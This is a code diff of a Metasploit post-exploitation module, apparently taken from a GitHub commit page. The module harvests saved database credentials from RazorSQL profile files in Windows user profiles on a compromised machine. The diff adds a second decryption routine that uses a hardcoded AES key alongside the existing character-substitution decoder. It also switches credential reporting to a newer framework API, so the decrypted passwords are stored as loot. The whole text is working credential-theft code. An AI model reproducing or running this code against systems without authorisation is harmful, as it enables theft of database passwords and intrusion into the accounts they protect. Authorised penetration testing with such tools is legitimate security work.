6
6
require 'msf/core'
7
7
require 'rex'
8
8
require 'msf/core/auxiliary/report'
9
+ require 'openssl'
9
10
10
11
class Metasploit3 < Msf ::Post
11
12
13
+ include Msf ::Post ::File
12
14
include Msf ::Auxiliary ::Report
13
15
include Msf ::Post ::Windows ::UserProfiles
14
16
@@ -30,6 +32,48 @@ def initialize(info={})
30
32
) )
31
33
end
32
34
35
+ def get_profiles
36
+ profiles = [ ]
37
+ grab_user_profiles . each do |user |
38
+ next unless user [ 'ProfileDir' ]
39
+ [ '.razorsql\\data\\profiles.txt' , 'AppData\Roaming\RazorSQL\data\profiles.txt' ] . each do |profile_path |
40
+ file = "#{ user [ 'ProfileDir' ] } \\ #{ profile_path } "
41
+ profiles << file if file? ( file )
42
+ end
43
+ end
44
+
45
+ profiles
46
+ end
47
+
48
+
49
+ def report_cred ( opts )
50
+ service_data = {
51
+ address : opts [ :ip ] ,
52
+ port : opts [ :port ] ,
53
+ service_name : opts [ :service_name ] ,
54
+ protocol : 'tcp' ,
55
+ workspace_id : myworkspace_id
56
+ }
57
+
58
+ credential_data = {
59
+ module_fullname : fullname ,
60
+ post_reference_name : self . refname ,
61
+ session_id : session_db_id ,
62
+ origin_type : :session ,
63
+ private_data : opts [ :password ] ,
64
+ private_type : :password ,
65
+ username : opts [ :user ]
66
+ } . merge ( service_data )
67
+
68
+ login_data = {
69
+ core : create_credential ( credential_data ) ,
70
+ status : Metasploit ::Model ::Login ::Status ::UNTRIED ,
71
+ } . merge ( service_data )
72
+
73
+ create_credential_login ( login_data )
74
+ end
75
+
76
+
33
77
def run
34
78
print_status ( "Checking All Users..." )
35
79
creds_tbl = Rex ::Ui ::Text ::Table . new (
@@ -47,19 +91,17 @@ def run
47
91
]
48
92
)
49
93
50
- grab_user_profiles ( ) . each do |user |
51
- next if user [ 'ProfileDir' ] == nil
52
- file = user [ 'ProfileDir' ] + "\\ .razorsql\\ data\\ profiles.txt"
53
- content = get_content ( file )
54
- if content and not content . empty?
55
- creds = parse_content ( creds_tbl , content , user [ 'UserName' ] )
56
- creds . each do |c |
57
- creds_tbl << c
58
- end
94
+ get_profiles . each do |profile_path |
95
+ content = get_content ( profile_path )
96
+ next if content . blank?
97
+ parse_content ( creds_tbl , content ) . each do |cred |
98
+ creds_tbl << cred
59
99
end
60
100
end
61
101
62
- if not creds_tbl . rows . empty?
102
+ if creds_tbl . rows . empty?
103
+ print_status ( "No creds collected." )
104
+ else
63
105
path = store_loot (
64
106
'razor.user.creds' ,
65
107
'text/csv' ,
@@ -70,8 +112,6 @@ def run
70
112
)
71
113
print_line ( creds_tbl . to_s )
72
114
print_status ( "User credentials stored in: #{ path } " )
73
- else
74
- print_error ( "No data collected" )
75
115
end
76
116
end
77
117
@@ -86,9 +126,8 @@ def get_content(file)
86
126
return content
87
127
end
88
128
89
- def parse_content ( table , content , username )
129
+ def parse_content ( table , content )
90
130
creds = [ ]
91
- print_line ( "Account: #{ username } \n " )
92
131
content = content . split ( /\( \( Z~\] / )
93
132
content . each do |db |
94
133
database = ( db . scan ( /database=(.*)/ ) . flatten [ 0 ] || '' ) . strip
@@ -100,19 +139,28 @@ def parse_content(table, content, username)
100
139
pass = ( db . scan ( /password=(.*)/ ) . flatten [ 0 ] ||'' ) . strip
101
140
102
141
# Decrypt if there's a password
103
- pass = decrypt ( pass ) if not pass . empty?
142
+ unless pass . blank?
143
+ if pass =~ /\{ \{ \{ VFW(.*)!\^ \* #\$ RIG/
144
+ decrypted_pass = decrypt_v2 ( $1)
145
+ else
146
+ decrypted_pass = decrypt ( pass )
147
+ end
148
+ end
149
+
150
+ pass = decrypted_pass ? decrypted_pass : pass
104
151
105
152
# Store data
106
153
creds << [ user , pass , type , host , port , dbname , database ]
107
154
108
- # Reort auth info while dumping data
109
- report_auth_info (
110
- :host => host ,
111
- :port => port ,
112
- :sname => database ,
113
- :user => user ,
114
- :pass => pass ,
115
- :type => 'password'
155
+ # Don't report if there's nothing to report
156
+ next if user . blank? && pass . blank?
157
+
158
+ report_cred (
159
+ ip : rhost ,
160
+ port : port . to_i ,
161
+ service_name : database ,
162
+ user : user ,
163
+ password : pass
116
164
)
117
165
end
118
166
@@ -140,12 +188,30 @@ def decrypt( encrypted_password )
140
188
"a" => "<" , "Y" => ">" , "'" => "'" , "^" => "^" , "{" => "{" ,
141
189
"}" => "}" , "[" => "[" , "]" => "]" , "~" => "~" , "`" => "`"
142
190
}
143
- password = ''
191
+ password = ''
144
192
for letter in encrypted_password . chomp . each_char
145
- password << magic_key [ letter ]
193
+ char = magic_key [ letter ]
194
+
195
+ # If there's a nil, it indicates our decryption method does not work for this version.
196
+ return nil if char . nil?
197
+
198
+ password << char
146
199
end
147
- return password
200
+
201
+ password
148
202
end
203
+
204
+ def decrypt_v2 ( encrypted )
205
+ enc = Rex ::Text . decode_base64 ( encrypted )
206
+ key = Rex ::Text . decode_base64 ( 'LAEGCx0gKU0BAQICCQklKQ==' )
207
+
208
+ aes = OpenSSL ::Cipher . new ( 'AES-128-CBC' )
209
+ aes . decrypt
210
+ aes . key = key
211
+
212
+ aes . update ( enc ) + aes . final
213
+ end
214
+
149
215
end
150
216
151
217
=begin
0 commit comments